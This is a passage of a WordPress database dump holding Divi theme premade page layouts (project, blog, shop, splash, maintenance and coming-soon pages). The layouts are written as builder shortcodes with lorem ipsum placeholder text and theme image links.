Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl.[/et_pb_text][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h2>The Solution</h2>\r\nVivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl. Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl.[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"on\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"on\"][et_pb_slide heading=\"Complete Corporate Identity\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" /][et_pb_slide heading=\"We Rethought Everything\" background_color=\"#2ea3f2\" alignment=\"center\" background_layout=\"dark\" /][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#353535\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Corporate Rebranding\" number=\"70\" percent_sign=\"on\" background_layout=\"dark\" counter_color=\"#2ea3f2\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Website Redesign\" number=\"30\" percent_sign=\"on\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Day Turnaround\" number=\"60\" percent_sign=\"off\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Amazing Result\" number=\"1\" percent_sign=\"off\" background_layout=\"dark\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_2\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"90\" /][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"left\"]<h1>Mobile Site Boosted Sales By 50%</h1>[/et_pb_text][et_pb_blurb admin_label=\"Blurb\" title=\"Mobile Refresh\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"left\" animation=\"right\" background_layout=\"dark\" text_orientation=\"left\"]The Challenge Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Rebuilt From the Inside Out\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"left\" animation=\"right\" background_layout=\"dark\" text_orientation=\"left\"]The Challenge Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Extensive Demographic Studies\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"left\" animation=\"right\" background_layout=\"dark\" text_orientation=\"left\"]The Challenge Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/mobile-lockup.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#353535\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"60\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_2\"][et_pb_counters admin_label=\"Bar Counters\" background_layout=\"light\" background_color=\"#2e2e2e\"][et_pb_counter percent=\"80\"]Mobile Sales[/et_pb_counter][et_pb_counter percent=\"50\"]Website Traffic[/et_pb_counter][et_pb_counter percent=\"75\"]Conversion Rate[/et_pb_counter][et_pb_counter percent=\"60\"]Email Subscribers[/et_pb_counter][/et_pb_counters][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_cta admin_label=\"Call To Action\" title=\"The Results Were Amazing\" button_url=\"#\" button_text=\"Live Project\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"dark\" text_orientation=\"left\"]Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl. Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl.[/et_pb_cta][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"60\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"on\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"on\"][et_pb_slide heading=\"We Rethought Everything\" background_color=\"#2ea3f2\" alignment=\"center\" background_layout=\"dark\" /][et_pb_slide heading=\"Complete Corporate Identity\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" /][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f7f7f7\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"Interested In Working With Us?\" button_url=\"#\" button_text=\"Get In Touch\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"light\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Project Extended','','publish','open','open','','project-extended','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=19',0,'et_pb_layout','',0),(20,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h1>Your Project Name</h1>[/et_pb_text][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" url_new_window=\"off\" animation=\"fade_in\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"3_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h4>Project Description</h4>\r\nVivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl. Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue at nisl. Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien.[/et_pb_text][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h4>Project Details</h4>\r\n<strong>Client </strong>Client Name\r\n<strong>Date </strong>Date of Completion\r\n<strong>Skills </strong>Branding, Web Design\r\n<strong>View </strong>elegantthemes.com[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f7f7f7\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_2\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"60\" /][et_pb_cta admin_label=\"Call To Action\" title=\"Project Feature\" button_url=\"#\" button_text=\"Live Project\" background_color=\"#2caaca\" use_background_color=\"off\" background_layout=\"light\" text_orientation=\"left\"]Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl quis nibh non, molestie tempus sapien.[/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_3\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"100\" /][et_pb_cta admin_label=\"Call To Action\" title=\"Project Feature\" button_url=\"#\" button_text=\"See More\" background_color=\"#2caaca\" use_background_color=\"off\" background_layout=\"light\" text_orientation=\"right\"]Vivamus ipsum velit, ullamcorper quis nibh, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl.[/et_pb_cta][/et_pb_column][et_pb_column type=\"2_3\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-700px.jpg\" url_new_window=\"off\" animation=\"right\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"on\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"Like What You See?\" button_url=\"#\" button_text=\"Contact Us\" background_color=\"#2caaca\" use_background_color=\"off\" background_layout=\"dark\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Project Extended 2','','publish','open','open','','project-extended-2','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=20',0,'et_pb_layout','',0),(21,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"on\" parallax=\"off\"][et_pb_fullwidth_header admin_label=\"Fullwidth Header\" title=\"Welcome to My Blog\" subhead=\"Here is a masonry blog layout with no sidebar\" background_layout=\"dark\" text_orientation=\"left\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f7f7f7\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_blog admin_label=\"Blog\" fullwidth=\"off\" posts_number=\"18\" meta_date=\"M j, Y\" show_thumbnail=\"on\" show_content=\"off\" show_author=\"on\" show_date=\"on\" show_categories=\"on\" show_pagination=\"on\" background_layout=\"light\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Blog Masonry','','publish','open','open','','blog-masonry','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=21',0,'et_pb_layout','',0),(22,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"on\" parallax=\"off\"][et_pb_fullwidth_header admin_label=\"Fullwidth Header\" title=\"Welcome to My Blog\" subhead=\"Here is a basic blog layout with a right sidebar\" background_layout=\"dark\" text_orientation=\"left\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"on\"][et_pb_column type=\"3_4\" specialty_columns=\"3\"][et_pb_row_inner][et_pb_column_inner type=\"4_4\"][et_pb_blog admin_label=\"Blog\" fullwidth=\"on\" posts_number=\"6\" meta_date=\"M j, Y\" show_thumbnail=\"on\" show_content=\"off\" show_author=\"on\" show_date=\"on\" show_categories=\"on\" show_pagination=\"on\" background_layout=\"light\" /][/et_pb_column_inner][/et_pb_row_inner][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_sidebar admin_label=\"Sidebar\" orientation=\"right\" area=\"sidebar-1\" background_layout=\"light\" /][/et_pb_column][/et_pb_section]','Blog Standard','','publish','open','open','','blog-standard','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=22',0,'et_pb_layout','',0),(23,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#f84b48\" inner_shadow=\"off\" parallax=\"off\"][et_pb_fullwidth_header admin_label=\"Fullwidth Header\" title=\"Welcome to Our Shop\" subhead=\"Divi gives you the power to run a full-fledged online storefront.\" background_layout=\"dark\" text_orientation=\"left\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_shop admin_label=\"Shop\" type=\"recent\" posts_number=\"12\" columns=\"4\" orderby=\"menu_order\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"News & Events\" button_url=\"#\" button_text=\"Follow\" use_background_color=\"on\" background_color=\"#57ccc4\" background_layout=\"dark\" text_orientation=\"center\"]Lorem ipsum dolor sit amet, consectetur adipiscing elit. In in risus eget lectus suscipit malesuada.[/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section]','Shop Basic','','publish','open','open','','shop-basic','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=23',0,'et_pb_layout','',0),(24,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#b2ede0\" inner_shadow=\"off\" parallax=\"off\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"off\"][et_pb_slide heading=\"Our Shop\" button_text=\"Shop Now\" button_link=\"#\" background_color=\"#81dfde\" alignment=\"center\" background_layout=\"dark\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\"]Divi gives you the power to easily run a full-fledged online storefront. With the Divi Builder, you can create gorgeous shop pages, such as this one.[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"on\"][et_pb_column type=\"3_4\" specialty_columns=\"3\"][et_pb_row_inner][et_pb_column_inner type=\"4_4\"][et_pb_shop admin_label=\"Shop\" type=\"recent\" posts_number=\"6\" columns=\"3\" orderby=\"menu_order\" /][/et_pb_column_inner][/et_pb_row_inner][et_pb_row_inner][et_pb_column_inner type=\"1_2\"][et_pb_cta admin_label=\"Call To Action\" title=\"Summer Sale!\" button_url=\"#\" button_text=\"Shop Now\" background_color=\"#ed5362\" use_background_color=\"on\" background_layout=\"dark\" text_orientation=\"center\"]For a limited time only, all of our vintage products are 50% off! Don\'t miss your chance to save big on these wonderful items.[/et_pb_cta][/et_pb_column_inner][et_pb_column_inner type=\"1_2\"][et_pb_cta admin_label=\"Call To Action\" title=\"Buy 2 Get 1 Free\" button_url=\"#\" button_text=\"Coupon Code\" background_color=\"#57ccc4\" use_background_color=\"on\" background_layout=\"dark\" text_orientation=\"center\"]For a limited time only, if you buy two of any item, you get the 3rd for free! Click below to redeem the coupon code to use at checkout.[/et_pb_cta][/et_pb_column_inner][/et_pb_row_inner][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_sidebar admin_label=\"Sidebar\" orientation=\"right\" area=\"sidebar-1\" background_layout=\"light\" /][/et_pb_column][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f7f7f7\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h1>Our Most Popular Items</h1>[/et_pb_text][et_pb_shop admin_label=\"Shop\" type=\"best_selling\" posts_number=\"4\" columns=\"4\" orderby=\"menu_order\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#57ccc4\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"View All of Our On-Sale Items\" button_url=\"#\" background_color=\"#2caaca\" use_background_color=\"off\" background_layout=\"dark\" text_orientation=\"center\" button_text=\"Shop Now\"]For a limited time only, all of our vintage products are 50% off! Don’t miss your chance to save big on these wonderful items.[/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section]','Shop Extended','','publish','open','open','','shop-extended','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=24',0,'et_pb_layout','',0),(25,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section background_color=\"#2ea3f2\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"150\" /][et_pb_blurb admin_label=\"Blurb\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/d2-300px.png\" animation=\"bottom\" background_layout=\"dark\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#108bf5\" use_circle=\"off\" circle_color=\"#108bf5\" use_circle_border=\"off\" circle_border_color=\"#108bf5\" icon_placement=\"top\"]<h1></h1>[/et_pb_blurb][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]<h4><strong>Lorem Ipsum Dolor</strong></h4>\r\nAenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_text][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]<h4><strong>Lorem Ipsum Dolor</strong></h4>\r\nAenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_text][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]<h4><strong>Lorem Ipsum Dolor</strong></h4>\r\nAenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" button_text=\"Enter\" background_color=\"#2caaca\" use_background_color=\"off\" background_layout=\"dark\" text_orientation=\"center\" button_url=\"#\" /][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"400\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Splash Page','','publish','open','open','','splash-page','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=25',0,'et_pb_layout','',0),(26,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"60\" /][et_pb_blurb admin_label=\"Blurb\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-builder.jpg\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"top\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f7f7f7\" inner_shadow=\"on\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"center\"]<h1>We will Be back Soon</h1>\r\nThis is an example of a blank page with no header or footer.[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Undergoing Maintenance\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#63cde3\" use_circle=\"on\" circle_color=\"#f7f7f7\" use_circle_border=\"on\" circle_border_color=\"#2ea3f2\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Divi is here to stay, and you can rest easy knowing that our team will be updating and improving it for years to come.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Feature Updates\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#63cde3\" use_circle=\"on\" circle_color=\"#f7f7f7\" use_circle_border=\"on\" circle_border_color=\"#2ea3f2\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Divi is here to stay, and you can rest easy knowing that our team will be updating and improving it for years to come.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Bug Fixes\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#63cde3\" use_circle=\"on\" circle_color=\"#f7f7f7\" use_circle_border=\"on\" circle_border_color=\"#2ea3f2\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Divi is here to stay, and you can rest easy knowing that our team will be updating and improving it for years to come.[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" button_url=\"#\" button_text=\"Contact Us\" background_color=\"#2caaca\" use_background_color=\"off\" background_layout=\"light\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Maintenance Mode','','publish','open','open','','maintenance-mode','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=26',0,'et_pb_layout','',0),(27,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section inner_shadow=\"off\" parallax=\"off\" background_color=\"#8d1bf4\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"70\" /][et_pb_countdown_timer admin_label=\"Countdown Timer\" date_time=\"05/31/2014 05:15\" background_layout=\"dark\" background_color=\"#e03e3e\" use_background_color=\"off\" title=\"This Site Is Coming Soon\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_signup admin_label=\"Subscribe\" title=\"Sign Up to Receive Updates\" button_text=\"Submit\" background_color=\"#6e15c2\" use_background_color=\"on\" mailchimp_list=\"none\" background_layout=\"dark\" text_orientation=\"left\" provider=\"mailchimp\" aweber_list=\"none\"]Integer accumsan leo non nisi sollicitudin, sit amet eleifend dolor mollis. Donec sagittis posuere commodo. Aenean sed convallis lectus. Vivamus et nisi posuere erat aliquet adipiscing in non libero. Integer ornare dui at molestie dictum. Vivamus id aliquam urna. Duis quis fermentum lacus. Sed viverra dui leo, non auctor nisi porttitor a. Nunc a tristique lectus.[/et_pb_signup][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" button_url=\"#\" button_text=\"Contact Us\" background_color=\"#2caaca\" use_background_color=\"off\" background_layout=\"dark\" text_orientation=\"center\" /][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"600\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Coming Soon','','publish','open','open','','coming-soon','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=27',0,'et_pb_layout','',0),(28,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section background_color=\"#27323a\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]<h1 style=\"font-size: 72px;\">My Website</h1>\r\n<h2><em>My Tagline</em></h2>[/et_pb_text][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1080px.jpg\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"fade_in\" /][et_pb_cta admin_label=\"Call To Action\" title=\"Lorem ipsum dolor sit amet consectetur.\" button_url=\"#\" button_text=\"Learn More\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"dark\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section background_color=\"#313f55\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" use_icon=\"off\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" icon_placement=\"top\" animation=\"top\" background_layout=\"dark\" text_orientation=\"center\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" use_icon=\"off\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" icon_placement=\"top\" animation=\"top\" background_layout=\"dark\" text_orientation=\"center\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" use_icon=\"off\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" icon_placement=\"top\" animation=\"top\" background_layout=\"dark\" text_orientation=\"center\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis.[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section background_color=\"#27323a\" inner_shadow=\"on\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1080px.jpg\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"right\" /][et_pb_cta admin_label=\"Call To Action\" button_url=\"#\" button_text=\"Get Started\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"light\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Landing Page','','publish','open','open','','landing-page','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=28',0,'et_pb_layout','',0),(29,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"on\"][et_pb_slide heading=\"My Name\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\"]Subheading[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h1>This is My Story</h1>\r\nCurabitur quis dui volutpat, cursus eros ut, commodo elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Ut id est euismod, rhoncus nunc quis, lobortis turpis. Tam sociis natoque. Curabitur quis dui volutpat, cursus eros ut, commodo elit. Cum sociis natoque penatibus et magnis dis parturient 